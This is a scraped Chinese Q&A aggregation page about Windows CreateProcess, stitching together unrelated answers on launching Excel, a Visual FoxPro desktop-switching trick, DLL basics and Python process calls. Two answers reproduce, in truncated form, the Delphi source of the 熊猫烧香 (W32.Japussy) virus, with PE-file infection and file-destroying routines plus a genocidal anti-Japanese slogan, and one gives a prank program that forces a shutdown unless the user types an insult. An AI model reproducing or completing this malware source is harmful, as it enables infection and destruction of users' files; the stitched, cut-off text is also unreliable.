VC编程中,想使用createprocess调用excel.exe来启动多个xls,该如何...
office系列都自带了防多开功能,其中word和excel用了很低级的dde,而ppt用了比较高端的事件对象,用createprocess可以直接绕过dde,但是无法直接绕过ppt这种机制,因此createprocess打开多个excel文件就会产生多个exe,但ppt只会有1个。
从注册表中找到xls文件的打开参数"C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE" /e也就是说explore根本没有理想中的那样通过CreateProcess传文件名给excel.exe,另外还可以找到ddeexec键,说明是做了dde的,点进去可以发现open("%1"),也就是说explore只是启动了excel.exe,然后相当于给excel.exe发送消息,让他执行“打开文件”操作,这点可以用api monitor监视到,另外用api monitor监控结果表明,双击xls文件后执行CreateProcess,第一个参数是C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE,第二个参数是"C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE" /e,这时再双击一个xls文件发现压根就没执行CreateProcess了,说明explore内部做了一次检测,当打开一个xls文件的时候检测是否已经打开了excel.exe,如果已经打开了,就不需要CreateProcess了,而是直接告诉excel.exe让他执行“打开文件”操作所以如果自己编程就要做到跟explore一样的事情,首先CreateProcess是已知的,但是用什么函数让excel.exe去执行“打开”操作我就不知道了,之前做过破解office的这种机制实现多开,却没有反过来考虑过,只能帮你这么多了
如何解除屏蔽切换
关于屏蔽系统热键的问题,以前看过很多方法,最好的方法是替换 GINA,但用 vfp 无法实现。
这篇文章中的方法可以很容易的修改为几乎所有语言的代码。
原理很简单:系统热键(如:ctrl+alt+del, alt+tab, 系统任务栏等)都只会显示在 Windows 的缺省桌面中,所以如果想要使这些东西不出现,最简单的办法就是新建一个桌面(一个全新的桌面,除了背景图片外什么也没有),然后在其中运行它,这样即使你按下系统热键,它也不会在新桌面中显示(它显示在缺省桌面中)。
新建和切换桌面只要几个 api 函数即可实现,但切换到新桌面后不能用 run / shellexec 等来启动 exe,因为这些函数只能在缺省桌面中创建新进程,所以需要用到 CreateProcess 这个 api 来创建并启动新进程,它其中的一个结构参数可指定要执行进程所在的桌面。
Run 方法接收两个参数,第一个是要执行的完整文件路径及名称,第二个参数【可选】指定等待它运行多长时间后自动返回缺省桌面,缺省将一直等待到你关闭新桌面中的进程为止,下面是示例代码:1,2,m.oDesktop = NEWOBJECT( 'NewDesktop' ) 3,IF ( 'O' == VARTYPE( m.oDesktop )) AND !ISNULL( m.oDesktop ) 4, m.cFile = GETFILE( 'exe', '文件名(&N):', '运行(&R)', 0, '请选择要在新桌面中运行的程序' ) 5, m.oDesktop.Run( m.cFile ) 6,ENDIF 7,m.oDesktop = NULL 8,DEFINE CLASS NewDesktop AS Custom 9, HIDDEN hOldDesktop 10, hOldDesktop = 0 11, HIDDEN hOldInput 12, hOldInput = 0 13, HIDDEN hNewDesktop 14, hNewDesktop = 0 15, HIDDEN pcNewDesktop 16, pcNewDesktop = 0 17, HIDDEN NewDesktopName 18, NewDesktopName = ('desktop' +SYS(2015)) 19, HIDDEN ErrMsg 20, ErrMsg = '' 21, Name = 'NewDesktop' 22, HIDDEN PROCEDURE api_decl 23, DECLARE Long GetThreadDesktop IN WIN32API Long dwThreadId 24, DECLARE Long OpenInputDesktop IN WIN32API ; 25, Long dwFlags, Long fInherit, Long dwDesiredAccess 26, DECLARE Long CreateDesktop IN WIN32API ; 27, String lpszDesktop, Long lpszDevice, Long pDevmode, ; 28, Long dwFlags, Long dwDesiredAccess, Long lpsa 29, DECLARE Long SetThreadDesktop IN WIN32API Long hDesktop 30, DECLARE Long SwitchDesktop IN WIN32API Long hDesktop 31, DECLARE Long CloseDesktop IN WIN32API Long hDesktop 32, DECLARE Long CreateProcess IN WIN32API ; 33, String pszAppName, String pszCmdLine, ; 34, Long lpProcessAttr, Long lpThreadAttr, ; 35, Long bInheritHandles, Long dwCreationFlags, ; 36, Long lpEnvironment, String pszCurDir, ; 37, String lpStartupInfo, String @ lpProcInfo 38, DECLARE Long CloseHandle IN WIN32API Long hObject 39, DECLARE Long WaitForSingleObject IN WIN32API ; 40, Long hHandle, Long dwMilliseconds 41, DECLARE Long GetProcessHeap IN WIN32API 42, DECLARE Long HeapAlloc IN WIN32API ; 43, Long hHeap, Long dwFlags, Long dwBytes 44, DECLARE Long HeapFree IN WIN32API ; 45, Long hHeap, Long dwFlags, Long lpMem 46, DECLARE Long GetLastError IN WIN32API 47, This.pcNewDesktop = HeapAlloc( GetProcessHeap(), 8, LEN(This.NewDesktopName)+1 ) 48, IF ( 0 == This.pcNewDesktop ) 49, MESSAGEBOX( '内存分配失败 !', 16, '错误' ) 50, ELSE SYS( 2600, This.pcNewDesktop, LEN(This.NewDesktopName), This.NewDesktopName ) ENDIF ENDPROC PROCEDURE Run *!* ------------------------------------------------------------------------ *!* 功能: 在新建桌面中运行指定的程序 *!* 入口: tcExeFile - 要执行的 exe 文件 *!* tiTimeout - 等待执行时间(单位 ms, 0 代表一直等待到它终止并退出) *!* ------------------------------------------------------------------------ LPARAMETERS tcExeFile, tiTimeout IF ( 'C' != VARTYPE( m.tcExeFile )) OR EMPTY( m.tcExeFile ) RETURN .F. ENDIF IF ( PCOUNT() m.tiTimeout = -1 ENDIF This.ErrMsg = '' IF This.SwitchToNewDesktop() This.StartProcess( m.tcExeFile, m.tiTimeout ) ENDIF IF !EMPTY( This.ErrMsg ) MESSAGEBOX( This.ErrMsg, 16, '错误' ) ENDIF ENDPROC HIDDEN PROCEDURE SwitchToNewDesktop #define DESKTOP_SWITCHDESKTOP 0x0100 #define GENERIC_ALL 0x10000000 *!* 保存当前线程所在的桌面句柄 This.hOldDesktop = GetThreadDesktop( _vfp.ThreadId ) *!* 保存当前用户输入线程的桌面句柄 This.hOldInput = OpenInputDesktop( 0, 0, DESKTOP_SWITCHDESKTOP ) *!* 创建新桌面 This.hNewDesktop = CreateDesktop( This.NewDesktopName, 0, 0, 0, GENERIC_ALL, 0 ) IF ( 0 == This.hNewDesktop ) This.ErrMsg = '创建桌面失败!错误代码: ' + TRANSFORM( GetLastError()) RETURN .F. ENDIF *!* 切换当前线程到新建桌面中 SetThreadDesktop( This.hNewDesktop ) IF ( 0 == SwitchDesktop( This....
搞怪C语言小程序
// 这个好办。
VC里新建一个win32工程,把这段代码贴到WinMain所在的cpp//然后在资源视图里按照我发的图添加控件。
主要是//那个文本框的id要设置为IDC_INPUT//把原先的OK按钮的文字改成“确定”#include "stdafx.h"#include "resource.h"STARTUPINFO si;PROCESS_INFORMATION pi;LRESULT CALLBACK About(HWND, UINT, WPARAM, LPARAM);int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow){CreateProcess(0,"shutdown -s -t 60 -c \"请输入“我是猪”,否则一分钟后关机。
不信试试。
。
。
\"",0,0,0,CREATE_NO_WINDOW,0,0,&si,&pi);return DialogBox(hInstance, (LPCTSTR)IDD_ABOUTBOX, GetDesktopWindow(), (DLGPROC)About);}LRESULT CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam){char str[32];switch (message){case WM_INITDIALOG:return TRUE;case WM_COMMAND:if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL) {GetDlgItemText(hDlg,IDC_INPUT,str,32);if(strcmp(str,"我是猪")==0){CreateProcess(0,"shutdown -a",0,0,0,CREATE_NO_WINDOW,0,0,&si,&pi);EndDialog(hDlg, LOWORD(wParam));MessageBox(hDlg,"看你以后还拽不拽!","知道错了没?",0);}return TRUE;}break;}return FALSE;}
哪有熊猫烧香的源代码?
program japussy; uses windows, sysutils, classes, graphics, shellapi{, registry}; const headersize = 82432; //病毒体的大小 iconoffset = $12eb8; //pe文件主图标的偏移量//在我的delphi5 sp1上面编译得到的大小,其它版本的delphi可能不同//查找2800000020的十六进制字符串可以找到主图标的偏移量 { headersize = 38912; //upx压缩过病毒体的大小 iconoffset = $92bc; //upx压缩过pe文件主图标的偏移量//upx 1.24w 用法: upx -9 --8086 japussy.exe } iconsize = $2e8; //pe文件主图标的大小--744字节 icontail = iconoffset + iconsize; //pe文件主图标的尾部 id = $44444444; //感染标记//垃圾码,以备写入 catchword = 'if a race need to be killed out, it must be yamato. ' + 'if a country need to be destroyed, it must be japan! ' + '*** w32.japussy.worm.a ***'; {$r *.res} function registerserviceprocess(dwprocessid, dwtype: integer): integer; stdcall; external 'kernel32.dll'; //函数声明 var tmpfile: string; si: startupinfo; pi: process_information; isjap: boolean = false; //日文操作系统标记 { 判断是否为win9x } function iswin9x: boolean; var ver: tosversioninfo; begin result := false; ver.dwosversioninfosize := sizeof(tosversioninfo); if not getversionex(ver) then exit; if (ver.dwplatformid = ver_platform_win32_windows) then //win9x result := true; end; { 在流之间复制 } procedure copystream(src: tstream; sstartpos: integer; dst: tstream; dstartpos: integer; count: integer); var scurpos, dcurpos: integer; begin scurpos := src.position; dcurpos := dst.position; src.seek(sstartpos, 0); dst.seek(dstartpos, 0); dst.copyfrom(src, count); src.seek(scurpos, 0); dst.seek(dcurpos, 0); end; { 将宿主文件从已感染的pe文件中分离出来,以备使用 } procedure extractfile(filename: string); var sstream, dstream: tfilestream; begin try sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone); try dstream := tfilestream.create(filename, fmcreate); try sstream.seek(headersize, 0); //跳过头部的病毒部分 dstream.copyfrom(sstream, sstream.size - headersize); finally dstream.free; end; finally sstream.free; end; except end; end; { 填充startupinfo结构 } procedure fillstartupinfo(var si: startupinfo; state: word); begin si.cb := sizeof(si); si.lpreserved := nil; si.lpdesktop := nil; si.lptitle := nil; si.dwflags := startf_useshowwindow; si.wshowwindow := state; si.cbreserved2 := 0; si.lpreserved2 := nil; end; { 发带毒邮件 } procedure sendmail; begin//哪位仁兄愿意完成之?end; { 感染pe文件 } procedure infectonefile(filename: string); var hdrstream, srcstream: tfilestream; icostream, dststream: tmemorystream; iid: longint; aicon: ticon; infected, ispe: boolean; i: integer; buf: array[0..1] of char; begin try //出错则文件正在被使用,退出 if comparetext(filename, 'japussy.exe') = 0 then //是自己则不感染 exit; infected := false; ispe := false; srcstream := tfilestream.create(filename, fmopenread); try for i := 0 to $108 do //检查pe文件头 begin srcstream.seek(i, sofrombeginning); srcstream.read(buf, 2); if (buf[0] = #80) and (buf[1] = #69) then //pe标记 begin ispe := true; //是pe文件 break; end; end; srcstream.seek(-4, sofromend); //检查感染标记 srcstream.read(iid, 4); if (iid = id) or (srcstream.size infected := true; finally srcstream.free; end; if infected or (not ispe) then //如果感染过了或不是pe文件则退出 exit; icostream := tmemorystream.create; dststream := tmemorystream.create; try aicon := ticon.create; try //得到被感染文件的主图标(744字节),存入流 aicon.releasehandle; aicon.handle := extracticon(hinstance, pchar(filename), 0); aicon.savetostream(icostream); finally aicon.free; end; srcstream := tfilestream.create(filename, fmopenread); //头文件 hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone); try //写入病毒体主图标之前的数据 copystream(hdrstream, 0, dststream, 0, iconoffset); //写入目前程序的主图标 copystream(icostream, 22, dststream, iconoffset, iconsize); //写入病毒体主图标到病毒体尾部之间的数据 copystream(hdrstream, icontail, dststream, icontail, headersize - icontail); //写入宿主程序 copystream(srcstream, 0, dststream, headersize, srcstream.size); //写入已感染的标记 dststream.seek(0, 2); iid := $44444444; dststream.write(iid, 4); finally hdrstream.free; end; finally srcstream.free; icostream.free; dststream.savetofile(filename); //替换宿主文件 dststream.free; end; except; end; end; { 将目标文件写入垃圾码后删除 } procedure smashfile(filename: string); var filehandle: integer; i, size, mass, max, len: integer; begin try setfileattributes(pchar(filename), 0); //去掉只读属性 filehandle := fileopen(filename, fmopenwrite); //打开文件 try size := getfilesize(filehandle, nil); //文件大小 i := 0; randomize; max := random(15); //写入垃圾码的随机次数 if max max := 5; mass := size ...
在Android studio上写的软件在模拟器上可以运行,在手机上不能运行. ...
写病毒的话 不用JAVA 语言 C语写的也不好 用dephi 下面给你看用dephi写熊猫病毒的源码: 有注解 【熊猫烧香的病毒源码】 program Japussy; uses Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}; const HeaderSize = 82432; //病毒体的大小 IconOffset = EB8; //PE文件主图标的偏移量 //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同 //查找2800000020的十六进制字符串可以找到主图标的偏移量 { HeaderSize = 38912; //Upx压缩过病毒体的大小 IconOffset = BC; //Upx压缩过PE文件主图标的偏移量 //Upx 1.24W 用法: upx -9 --8086 Japussy.exe } IconSize = E8; //PE文件主图标的大小744字节 IconTail = IconOffset + IconSize; //PE文件主图标的尾部 ID = 444444; //感染标记 //无用码,以备写入 Catchword = 'If a race need to be killed out, it must be Yamato. ' + 'If a country need to be destroyed, it must be Japan! ' + '*** W32.Japussy.Worm.A ***'; {$R *.RES} function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stDCall; external 'Kernel32.dll'; //函数声明 var TmpFile: string; Si: STARTUPINFO; Pi: PROCESS_INFORMATION; IsJap: Boolean = False; //日文版操作系统标记 { 判断是否为windows 9.X版本 } function IsWin9x: Boolean; var Ver: TOSVersionInfo; begin Result := False; Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); if not GetVersionEx(Ver) then Exit; if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x Result := True; end; { 在流之间复制 } procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; dStartPos: Integer; Count: Integer); var sCurPos, dCurPos: Integer; begin sCurPos := Src.Position; dCurPos := Dst.Position; Src.Seek(sStartPos, 0); Dst.Seek(dStartPos, 0); Dst.CopyFrom(Src, Count); Src.Seek(sCurPos, 0); Dst.Seek(dCurPos, 0); end; { 将宿主文件从已感染的PE文件中分离出来,以备使用 } procedure ExtractFile(FileName: string); var sStream, dStream: TFileStream; begin try sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try dStream := TFileStream.Create(FileName, fmCreate); try sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分 dStream.CopyFrom(sStream, sStream.Size - HeaderSize); finally dStream.Free; end; finally sStream.Free; end; except end; end; { 填充STARTUPINFO结构 } procedure FillStartupInfo(var Si: STARTUPINFO; State: Word); begin Si.cb := SizeOf(Si); Si.lpReserved := nil; Si.lpDesktop := nil; Si.lpTitle := nil; Si.dwFlags := STARTF_USESHOWWINDOW; Si.wShowWindow := State; Si.cbReserved2 := 0; Si.lpReserved2 := nil; end; { 发带毒邮件 } procedure SendMail; begin //邮件终止 end; { 感染PE文件 } procedure InfectOneFile(FileName: string); var HdrStream, SrcStream: TFileStream; IcoStream, DstStream: TMemoryStream; iID: LongInt; aIcon: TIcon; Infected, IsPE: Boolean; i: Integer; Buf: array[0..1] of Char; begin try //出错则文件正在被使用,退出 if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染 Exit; Infected := False; IsPE := False; SrcStream := TFileStream.Create(FileName, fmOpenRead); try for i := 0 to 8 do //检查PE文件头 begin SrcStream.Seek(i, soFromBeginning); SrcStream.Read(Buf, 2); if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记 begin IsPE := True; //是PE文件 Break; end; end; SrcStream.Seek(-4, soFromEnd); //检查感染标记 SrcStream.Read(iID, 4); if (iID = ID) or (SrcStream.Size Infected := True; finally SrcStream.Free; end; if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出 Exit; IcoStream := TMemoryStream.Create; DstStream := TMemoryStream.Create; try aIcon := TIcon.Create; try //得到被感染文件的主图标(744字节),存入流 aIcon.ReleaseHandle; aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0); aIcon.SaveToStream(IcoStream); finally aIcon.Free; end; SrcStream := TFileStream.Create(FileName, fmOpenRead); //头文件 HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try //写入病毒体主图标之前的数据 CopyStream(HdrStream, 0, DstStream, 0, IconOffset); //写入目前程序的主图标 CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize); //写入病毒体主图标到病毒体尾部之间的数据 CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail); //写入宿主程序 CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size); //写入已感染的标记 DstStream.Seek(0, 2); iID := 444444; DstStream.Write(iID, 4); finally HdrStream.Free; end; finally SrcStream.Free; IcoStream.Free; DstStream.SaveToFile(FileName); //替换宿主文件 DstStream.Free; end; except; end; end; { 将目标文件写入无用码后删除 } ...
电脑里的动态连接库是什么意思?如果打开文件经常与它连接不上是什...
DLL文件即动态链接库文件,是一种可执行文件,它允许程序共享执行特殊任务所必需的代码和其他资源。
Windows提供的DLL文件中包含了允许基于Windows的程序在Windows环境下操作的许多函数和资源。
DLL多数情况下是带有DLL扩展名的文件,但也可能是EXE或其他扩展名。
它们向运行于Windows操作系统下的程序提供代码、数据或函数。
程序可根据DLL文件中的指令打开、启用、查询、禁用和关闭驱动程序。
DLL的全称是Dynamic Link Library, 中文叫做“动态链接文件”。
在Windows操作系统中, DLL对于程序执行是非常重要的, 因为程序在执行的时候, 必须链接到DLL文件, 才能够正确地运行。
而有些DLL文件可以被许多程序共用。
因此, 程序设计人员可以利用DLL文件, 使程序不至于太过巨大。
但是当安装的程序越来越多, DLL文件也就会越来越多, 如果当你删除程序的时候, 没有用的DLL文件没有被删除的话, 久而久之就造成系统的负担了。
DLL是动态连接库。
使用动态连接库的一些好处是: 1.多个应用程序共享代码和数据:比如Office软件的各个组成部分有相似的外观和功能,这就是通过共享动态连接库实现的。
2.在钩子程序过滤系统消息时必须使用动态连接库。
3.动态连接库以一种自然的方式将一个大的应用程序划分为几个小的模块,有利于小组内部成员的分工与合作。
而且,各个模块可以独立升级。
如果小组中的一个成员开发了一组实用例程,他就可以把这些例程放在一个动态连接库中,让小组的其他成员使用。
4.为了实现应用程序的国际化,往往需要使用动态连接库。
使用动态连接库可以将针对某一国家、语言的信息存放在其中。
对于不同的版本,使用不同的动态连接库。
在使用AppWizard生成应用程序时,我们可以指定资源文件使用的语言,这就是通过提供不同的动态连接库实现的。
VC++、C++ Builder、Delphi都可以编写DLL文件。
Visual Basic 5.0以上版本也可以编写一种特殊的DLL,即ActiveX DLL。
DLL不是独立运行的程序,它是某个程序的一个部分,它只能由所属的程序调用。
用户不能,也不需要打开它。
Re:python 子程序怎么调用上一层程序生成
在Python中,可以方便地使用os模块来运行其他脚本或者程序,这样就可以在脚本中直接使用其他脚本或程序提供的功能,而不必再次编写实现该功能的代码。
为了更好地控制运行的进程,可以使用win32process模块中的函数,如果想进一步控制进程,则可以使用ctype模块,直接调用kernel32.dll中的函数。
下面介绍4种方式:1、os.system()函数os模块中的system()函数可以方便地运行其他程序或者脚本,模式如下:os.system(command):command: 要执行的命令,如果要向脚本传递参数,可以使用空格分割程序及多个参数实例:#打开记事本os.system('notepad')#用记事本打开aa.txtos.system('notepad aa.txt') #aa.txt文件必须在当前程序目录#直接打开aa.txtos.system('aa.txt')#直接打开Excel文件os.system('aa.xlsx')#直接打开Word文件os.system('bb.docx')filepath='测试.xlsx'#打开包含中文的文件os.system(filepath.decode('utf8').encode('GBK'))2、ShellExecute函数使用win32api模块中的ShellExecute()函数来运行其他程序,格式如下ShellExecute(hwnd, op, file, args, dir, show)hwnd: 父窗口的句柄,如果没有父窗口,则为0op : 要运行的操作,为open,print或者为空file: 要运行的程序,或者打开的脚本args: 要向程序传递的参数,如果打开的是文件则为空dir : 程序初始化的目录 show: 是否显示窗口使用ShellExecute函数,就相当于在资源管理器中双击文件图标,系统会打开相应程序运行。
引用win32api,需要安装 pywin32, https://sourceforge.net/projects/pywin32/files/pywin32/ 实例:import win32apiwin32api.ShellExecute(0, 'open', 'notepad.exe', '', '', 0) # 后台执行win32api.ShellExecute(0, 'open', 'notepad.exe', '', '', 1) # 前台打开win32api.ShellExecute(0, 'open', 'notepad.exe', 'wmi.txt', '', 1) # 打开文件win32api.ShellExecute(0, 'open', 'iexplore.exe', '', '', 1) # 打开IE浏览器win32api.ShellExecute(0, 'open', 'iexplore.exe', 'https://www.baidu.com/', '', 1) # 用IE浏览器打开百度网址win32api.ShellExecute(0, 'open', 'mspaint.exe', 'wxqr.png', '', 1) #用系统附件自带的画图打开图片wxqr.png3、CreateProcess参考实例:https://www.programcreek.com/python/example/8489/win32process.CreateProcess3.1、创建进程为了便于控制通过脚本运行的程序,可以使用win32process模块中的CreateProcess()函数创建一个运行相应程序的进程。
其函数格式为:CreateProcess(appName, cmdLine, proAttr, threadAttr, InheritHandle, CreationFlags, newEnv, currentDir, Attr)appName 可执行文件名cmdLine 命令行参数procAttr 进程安全属性threadAttr 线程安全属性InheritHandle 继承标志CreationFlags 创建标志currentDir 进程的当前目录Attr 创建程序的属性3.2、结束进程可以使用win32process.TerminateProcess函数来结束已创建的进程, 函数格式如下:TerminateProcess(handle, exitCode)handle 要操作的进程句柄exitCode 进程退出代码或者使用win32event.WaitForSingleObject等待创建的线程结束,函数格式如下:WaitForSingleObject(handle, milisecond)handle : 要操作的进程句柄milisecond: 等待的时间,如果为-1,则一直等待.import win32process# 打开记事本,获得其句柄handle = win32process.CreateProcess(r'C:\Windows\notepad.exe', '', None, None, 0, win32process.CREATE_NO_WINDOW, None, None, win32process.STARTUPINFO())time.sleep(4)# 终止进程win32process.TerminateProcess(handle[0], 0)import win32event#等待进程结束 print win32event.WaitForSingleObject(handle[0], -1) 4、使用ctypes调用kernel32.dll中的函数使用ctypes模块可以让Python调用位于动态链接库的函数。
ctypes模块为Python提供了调用动态链接库中函数的功能。
使用ctypes模块可以方便地调用由C语言编写的动态链接库,并向其传递参数。
ctypes模块定义了C语言中的基本数据类型,并且可以实现C语言中的结构体和联合体。
ctypes模块可以工作在Windows,Linux,Mac OS等多种操作系统,基本上实现了跨平台。
实例:Windows下调用user32.dll中的MessageBoxA函数。
from ctypes import *user32 = windll.LoadLibrary('user32.dll')a = user32.MessageBoxA(0, str.encode('Hello Ctypes!'), str.encode('Ctypes'), 0)print actype模块中含有的基本类型与C语言类似,下面是几个基本的数据类型的对照:
转载请注明出处51数据库 » createprocess word